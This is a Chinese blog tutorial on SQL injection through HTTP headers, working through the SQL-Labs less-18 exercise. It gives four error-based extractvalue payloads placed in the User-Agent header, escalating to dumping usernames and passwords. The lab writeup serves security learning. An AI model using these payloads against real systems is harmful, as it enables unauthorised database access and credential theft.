SQL注入-HTTP头注入

最新推荐文章于 2024-05-18 12:04:29 发布
最新推荐文章于 2024-05-18 12:04:29 发布
阅读量231 收藏
点赞数
分类专栏： SQL注入 文章标签： sql http web安全 安全 网络安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_72125469/article/details/134581787
版权

目录

HTTP Header概述

HTTP Header注入

HTTP Header注入概述

HTTP Header注入实例

HTTP Header概述

HTTP工作原理

HTTP请求方法

HTTP报文类型

请求报文（HTTP Request）：由客户端发给服务器的消息，其组成包括请求行（Request-LIne），请求头域（Header-Field）和请求体（Entity-Body）。

响应报文（HTTP Response）：由服务器回复给客户端的消息，其组成包括状态行（Status-LIne），响应头域（Header-Field）和响应体（Entity-Body）。

请求报文组成

请求报文实例

响应报文组成

HTTP响应报文实例

HTTP响应消息状态码

HTTP Header部分内容

  1. X-Forwarded-For：简称XFF头，它代表客户端(即HTTP的请求端)真实的IP(通常一些网站的防注入功能会记录请求端真实IP地址并写入数据库或某文件，通过修改XFF头可以实现伪造IP)。
  2. Client-IP：同上。
  3. Referer：浏览器向Web服务器表明自己是从哪个页面链接过来的。
  4. User-Agent：使服务器能够识别客户端使用的操作系统，浏览器版本等(很多数据量大的网站中会记录客户使用的操作系统或浏览器版本等存入数据库中)。
  5. Cookie：网站为了辨别用户身份、进行session跟踪而储存在用户本地终端上的数据(通常经过加密)。
  6. Host：客户端指定自己想访问的Web服务器的域名/IP地址和端口号

HTTP Header注入

HTTP Header注入概述

有时候，后台开发人员为了验证客户端HTTP Header(比如常用的Cookie验证等)或者
通过HTTP Header头信息获取客户端的一些信息(比如User-Agent、Accept字段等)会对客户端HTTP Header进行获取并使用SQL语句进行处理，通过SQL语言保存到数据库中 或者 直接提取跟数据库中的信息进行比对 由于sql语言的介入如果此时没有足够的安全考虑，就可能导致基于HTTP Header的注入漏洞。 

HTTP Header注入的前提条件

  • 能对请求头消息进行修改
  • 修改的请求头信息能够带入数据库执行
  • 数据库没有对输入的请求头过滤

常见注入类型

Cookie注入 ：服务器对cookie字段进行获取 验证客户端身份 

Referer注入：服务器记录referer字段用于统计网站的点击量

User-Agent注入 服务器记录访问者的信息 如浏览器版本 操作系统版本等，服务器根据提供的信息来给客户端推送不同的网页

XFF注入：一些网站的防注入功能会记录客户端真实ip地址并写入数据库

HTTP Header注入实例

目标靶机：SQL-Lab的less-18

典型应用场景：服务器获取User-Agent头部字段值，并用Insert命令将其写入数据库

注入方式：利用Burpsuite抓包，在User-Agent头部字段设置注入payload

分析源码发现虽然动态参数没有注入点 但是服务器将HTTP头部的useragent字段插入到数据库中了 于是修改useragent字段值为构造的sql语句

抓包判断注入点  在user-agent后添加一个单引号

服务器响应 ，语法有错误   并且也确定了sql报错有回显 服务器的数据库报错函数没有被屏蔽

能判断出该字段存在注入点

这个单引号与服务器端固定sql语句‘uagent’第一个单引号结合 第二个单引号引发的语法错误

添加注释也报错

原因 注释把后面所有sql注释掉了 这样就造成了 VALUES('$uagent' 

括号引发的报错 如果加上）也是不行的 

插入数据量必须是三个值 需要额外添加两个值

无报错信息 说明现在就可以在这个位置设置payload了 在第一个单引号后面设置

源码中是通过insert方式插入数据 所以不能使用union 

可以使用报错的方式进行构造sql语句

爆数据库

'and extractvalue(1,concat('~',database())),'','')#

成功爆出当前数据库

爆当前数据库所有表

'and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 0,1))),'','')#

爆user表所有字段

'and extractvalue(1,concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))),'','')#

爆字段值

'and extractvalue(1,concat('~',(select concat_ws(',',id,username,password) from  security.users limit 0,1))),'','')#

Hello-smile
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
专栏目录
sql 注入POST Get 请求参数到Body常用正则表达式
andy5520的博客
03-31 1198
sql 注入POST Get 请求参数到Body常用正则表达式
Header:请求头参数详解
panying1的博客
12-08 2563
Header 解释 示例 Accept 指定客户端能够接收的内容类型 Accept: text/plain, text/html,application/json Accept-Charset 浏览器可以接受的字符编码集。 Accept-Charset: iso-8859-5 Accept-Encoding 指定浏览器可以支持的web服务器返回内
SQL 注入——宽字节注入、HTTP 头部注入
weixin_51559599的博客
11-07 44
目的是绕过单双引号转义解决：在单引号前加%df（81-FE 之间）遇到后被进行 url 转码转为dfASCII 码的 16 进制为5cdf5c被识别成 GBK 编码，df5c在 GBK 编码中时一个汉字，不在具有转义效果注释掉后面语句利用xmlupdate进行报错注入。
5、HTTP header注入（详解）
最新发布
weixin_51520483的博客
05-18 978
1、抓包要根据包信息和页面功能来判断内容是不是想要的，比如cookie内容2、payload选择要判断有一个已知内容为真，就可以用and或者or；判断不了就用or3、user-agent注入：因为它是作为一个整体字符串处理，你可以直接覆盖整个字段的值。4、cooke注入：因为它是解析为多个键值对，你需要确保你的 payload 完全覆盖特定键的值，或者设计你的 payload 使其在原有值基础上有效执行。
网络安全——HTTP头部注入
weixin_54055099的博客
09-16 6898
SQL注入之HTTP头部注入，两个例子：Use-Agent注入、XFF注入
【web安全】——HTTP请求头注入
Demo不是emo的博客
01-10 4595
http请求头注入操作
10-sql注入-mysql注入1
08-03
1.路径符号：要用双斜杠 \\ ，或者 / 2.转换为十六进制数，这样就不需要引号了 1.报错显示 3.遗留文件 phpinfo info test php 5
SQL注入-概述-ppt.pptx
10-27
SQL相关资料
详解SQL注入--安全（二）
09-09
主要介绍了SQL注入安全，文中通过示例代码介绍的非常详细，对大家的学习或者工作具有一定的参考学习价值，需要的朋友们下面随着小编来一起学习学习吧
SQL注入-防范-ppt.pptx
10-27
SQL相关资料
第十一节 HTTP头中的SQL注入-01
09-15
第十一节 HTTP头中的SQL注入-01
SQL 存储过程发送HTTP请求
08-12
在网上找到的，能在SQL的存储过程中发送HTTP请求的SQL语句，个人觉得还不错，很好用，拿来分享下。
SQL通过SP_OA调用外部HTTP
08-31
DECLARE @Object int; DECLARE @HR int; DECLARE @Property nvarchar(255); DECLARE @Return nvarchar(255); DECLARE @Source nvarchar(255), @Desc nvarchar(255); DECLARE @httpStatus int; DECLARE @response varchar(8000); --创建 OLE 对象的实例 EXEC @HR = sp_OACreate N'MSXML2.XMLHTTP.6.0',@Object OUT; IF @HR 0 BEGIN EXEC sp_OAGetErrorInfo @Object,@Source OUT,@Desc OUT; RAISERROR('Error Creating COM Component 0x%x, %s, %s',16,1, @HR, @Source, @Desc) GOTO END_ROUTINE END BEGIN --Open EXEC @HR = sp_OAMethod @Object,N'open',Null,'GET','http://localhost:1728/HttpServer/submit.aspx',FALSE; IF @HR 0 BEGIN EXEC sp_OAGetErrorInfo @Object,@Source OUT,@Desc OUT; RAISERROR('Open 0x%x, %s, %s',16,1, @HR, @Source, @Desc) GOTO CLEANUP END --setRequestHeader EXEC @HR = sp_OAMethod @Object,N'setRequestHeader',Null,'Content-Type','text/xml'; IF @HR 0 BEGIN EXEC sp_OAGetErrorInfo @Object,@Source OUT,@Desc OUT; RAISERROR('setRequestHeader 0x%x, %s, %s',16,1, @HR, @Source, @Desc) GOTO CLEANUP END --send EXEC @HR = sp_OAMethod @Object,N'send',Null,''; IF @HR 0 BEGIN EXEC sp_OAGetErrorInfo @Object,@Source OUT,@Desc OUT; RAISERROR('send 0x%x, %s, %s',16,1, @HR, @Source, @Desc) GOTO CLEANUP END --readyState EXEC @HR = sp_OAGetProperty @Object,'readyState', @httpStatus OUT; IF @HR 0 BEGIN EXEC sp_OAGetErrorInfo @Object,@Source OUT,@Desc OUT; RAISERROR('readyState 0x%x, %s, %s',16,1, @HR, @Source, @Desc) GOTO CLEANUP END --verify status IF @httpStatus 4 BEGIN RAISERROR('readyState http status bad', 16,1) GOTO CLEANUP END --status EXEC @HR = sp_OAGetProperty @Object,'status', @httpStatus OUT; IF @HR 0 BEGIN EXEC sp_OAGetErrorInfo @Object,@Source OUT,@Desc OUT; RAISERROR('getstatus 0x%x, %s, %s',16,1, @HR, @Source, @Desc) GOTO CLEANUP END --verify status IF @httpStatus 200 BEGIN Print Cast(@httpStatus As varchar) RAISERROR('Open http status bad', 16,1) GOTO CLEANUP END --responseText EXEC @HR = sp_OAGetProperty @Object, 'responseText', @response OUT IF @HR 0 BEGIN EXEC sp_OAGetErrorInfo @Object,@Source OUT,@Desc OUT; RAISERROR('responseText 0x%x, %s, %s',16,1, @HR, @Source, @Desc) GOTO CLEANUP END Print @response END CLEANUP: BEGIN EXEC @HR = sp_OADestroy @Object; IF @HR 0 BEGIN EXEC sp_OAGetErrorInfo @Object,@Source OUT,@Desc OUT; SELECT HR = convert(varbinary(4),@HR),Source=@Source,Description=@Desc; END END END_ROUTINE: RETURN; GO
HTTP头注入
zhangge3663的博客
03-14 1223
重新认识被人遗忘的HTTP头注入 前言 注入类漏洞经久不衰，多年保持在owasp Top 10的首位。今天就聊聊那些被人遗忘的http头注入。用简单的实际代码进行演示，让每个人更深刻的去认识该漏洞。 HOST注入 在以往http1.0中并没有host字段，但是在http1.1中增加了host字段，并且http协议在本质也是要建立tcp连接，而建立连接的同时必须知道对方的ip和端口，然后才能...
SQL注入实战：http报文包讲解、http头注入
ting_liang的博客
01-21 944
400 Bad Request:本状态码表示客户端提交了一个无效的HTTP请当以某种无效的方式修改请求时(例如在URL中插人一个空格券可能会遇到这个状态码。XForrwarded For:是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。，虽然HTTP使用有状态的TCP协议作为它的传输机制，但每次请求与响应交换都会自动完成，并且可能使用不同的TCP连接。1、在安全意识越来越重视的情况下，很多网站都在防止漏洞的发生例如SOL注入中，用户提交的。
17-HTTP、SQL
我的一篇的博客
05-15 287
HTTP http 是我们前后台交互的时候的传输协议（即超文本传输协议） http 的工作流程 和服务器建立链接 建立链接的主要步骤叫做 三次握手 客户端发送一个消息给到服务端 此时： 服务端知道了 客户端可以正常发送消息 服务端知道了 服务端可以正常接受消息 服务端回给客户端一个消息 此时： 服务端知道了 客户端可以正常发送消息 服务端知道了 服务端可以正常接受消息 客户端知道了 客户端可以正常发送消息 客户端知道了 客户端可以正常接受消息 客户端知道了 服务端可以正常接受消息 客户端
SQL Server 发送Http请求 函数
KingCruel的专栏
03-29 3515
1、开启Sql Server 通讯配置 sp_configure 'show advanced options', 1; go RECONFIGURE; go sp_configure 'Ole Automation Procedures', 1; go RECONFIGURE; go EXEC sp_configure 'Ole Automation Procedures'; go * CREATE proc [dbo].[SP_HTTPRequest] @URI varc
14、SQL注入——HTTP文件头注入
qq_55202378的博客
12-05 475
（1）请求报文由客户端发给服务器得消息，其组成包括请求行、请求头域和请求体。HTTP请求方法GET ：请求指定得页面信息，并返回实体主体。HEAD：类似GET请求，只不过返回得响应中没有具体内容，用户获取报头。POST：向指定资源提交数据进行处理请求（例如提交表单或上传文件）。数据被包含在请求体中。POST请求可能会导致新的资源的建立或已有资源的修改。PUT：从客户端向服务器传送的数据取代指定的文档内容。DELETE：请求服务器删除指定的页面。
sql注入-pikachu靶场
10-13
SQL注入是一种常见的Web应用程序漏洞，攻击者可以通过构造恶意的SQL语句来获取或篡改数据库中的数据。在Pikachu靶场中，可以通过注入恶意的SQL语句来获取管理员账户的密码。具体步骤如下： 1. 在登录页面输入用户名...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Hello-smile

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值